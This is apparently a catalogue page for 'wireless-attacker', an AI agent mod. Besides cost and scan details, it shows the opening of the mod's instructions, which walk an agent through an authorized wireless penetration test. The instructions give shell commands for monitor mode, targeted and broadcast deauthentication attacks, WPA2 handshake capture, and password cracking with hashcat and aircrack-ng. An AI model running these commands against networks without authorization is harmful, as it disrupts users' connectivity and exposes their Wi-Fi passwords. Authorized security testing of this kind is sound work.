Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add agents/mukul975/threatswarm/wireless-attackergit clone --depth 1 https://github.com/mukul975/ThreatswarmWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/agents/mukul975/threatswarm/wireless-attacker)<a href="https://agentmods.dev/agents/mukul975/threatswarm/wireless-attacker"><img src="https://agentmods.dev/badge/agents/mukul975/threatswarm/wireless-attacker.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00110 | $0.03114 |
| Opus 5 | $0.00055 | $0.01557 |
| Sonnet 5 | $0.00022 | $0.00623 |
| Haiku 4.5 | $0.00011 | $0.00311 |
Grade A, and why
wireless-attacker scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 289 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cybersecurity Skills (Invoke First)
Before starting wireless testing, invoke these skills via the Skill tool:
cybersecurity-skills:conducting-wireless-network-penetration-testcybersecurity-skills:performing-wifi-password-cracking-with-aircrackcybersecurity-skills:performing-wireless-security-assessment-with-kismetcybersecurity-skills:performing-bluetooth-security-assessmentcybersecurity-skills:detecting-bluetooth-low-energy-attackscybersecurity-skills:performing-wireless-network-penetration-test
Scope Enforcement
Verify wireless networks (SSID/BSSID) and physical location are authorized in scope.txt. Wireless attacks affect all clients on the segment — confirm authorization explicitly. Deauthentication affects ALL clients on target AP — use targeted (-c $CLIENT_MAC) when possible.
Interface Setup
# List wireless interfaces
iw dev
iwconfig
# Enable monitor mode
airmon-ng check kill # kill conflicting processes
airmon-ng start wlan0 # creates wlan0mon (or similar)
iw dev # verify mon interface is up
iwconfig wlan0mon # confirm mode=Monitor
# Verify monitor mode
tcpdump -i wlan0mon -e -n type mgt 2>/dev/null | head -10
# Set channel (for targeted capture)
iwconfig wlan0mon channel $CHANNEL
# OR
iw dev wlan0mon set channel $CHANNEL
# Stop monitor mode when done
airmon-ng stop wlan0mon
service NetworkManager start
Network Discovery
mkdir -p evidence/$(date +%Y%m%d)/$TARGET/wireless/{captures,hashes,logs}
# Passive scan — discover all APs and clients
airodump-ng wlan0mon 2>&1
# Save discovery output
airodump-ng wlan0mon \
--write evidence/$(date +%Y%m%d)/$TARGET/wireless/discovery \
--output-format csv,kismet \
2>&1 &
sleep 60 && kill %1
# Parse discovered networks
cat evidence/$(date +%Y%m%d)/$TARGET/wireless/discovery-01.csv | \
head -30 | tee evidence/$(date +%Y%m%d)/$TARGET/wireless/networks.txt
WPA2 Handshake Capture
# Target a specific network — capture handshake
airodump-ng wlan0mon \
--channel $CHANNEL \
--bssid $BSSID \
--write evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture \
--output-format pcap \
2>&1 &
# Deauthentication attack — force client to reconnect (generates handshake)
# Targeted (single client — less disruptive):
aireplay-ng -0 5 -a $BSSID -c $CLIENT_MAC wlan0mon 2>&1
# Broadcast deauth (all clients — more disruptive):
aireplay-ng -0 10 -a $BSSID wlan0mon 2>&1
# Wait for handshake — look for "WPA handshake: $BSSID" in airodump output
# Check captured pcap
aircrack-ng evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1 | \
grep "handshake\|BSSID"
# Convert to hashcat format (HCCAPX)
hcxpcapngtool \
-o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/handshake.hc22000 \
evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1
# Crack with hashcat
hashcat -m 22000 \
evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/handshake.hc22000 \
/usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule \
--force \
-o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/wpa2_cracked.txt 2>&1
# Crack with aircrack-ng (slower)
aircrack-ng \
-w /usr/share/wordlists/rockyou.txt \
evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1 | \
tee evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/aircrack_result.txt
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 289 lines · 0 tokens per session scan A 2fa6bd0fe2eb
wireless-attacker is an agent published in the GitHub repository mukul975/Threatswarm (77 stars, last pushed 4mo ago), licensed MIT. It adds 110 tokens to every session and 3,114 once invoked, about $0.0006 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other agents, from other repositories
token-auditor
Fast meme coin and token security auditor. Checks 8 token-specific bug classes (hidden mint, honeypot, fee manipulation, LP lock bypass, bonding curve exploits, authority retention, fake renounce, sandwich/MEV amplification). Runs tokenscanner.py for automated red flag detection. Covers EVM (Solidity) and Solana…
validator
Finding validator. Runs the 7-Question Gate and 4-gate checklist on a described finding. Kills weak/theoretical findings fast before report writing. Prevents N/A submissions. Use before writing any report — describe the finding and this agent decides PASS, KILL, or DOWNGRADE with explanation.
web3-auditor
Smart contract security auditor. Checks 10 bug classes in order of frequency (accounting desync 28%, access control 19%, incomplete path 17%, off-by-one 22% of Highs, oracle errors, ERC4626 attacks, reentrancy, flash loan oracle manipulation, signature replay, proxy/upgrade issues). Applies pre-dive kill signals…
recon-ranker
Attack surface ranking agent. Takes recon output and hunt memory, produces a prioritized attack plan. Ranks by IDOR likelihood, API surface, tech stack match with past successes, feature age, and nuclei findings. Use after recon to decide what to test first.
osint-collector
Delegates to this agent when the user asks about OSINT, reconnaissance, information gathering, target profiling, email harvesting, subdomain enumeration, social media recon, breach data, open source intelligence, or building a target dossier for authorized engagements.
threat-modeler
Delegates to this agent when the user asks about threat modeling, attack surface analysis, STRIDE, DREAD, attack trees, data flow diagrams, trust boundaries, or security architecture review.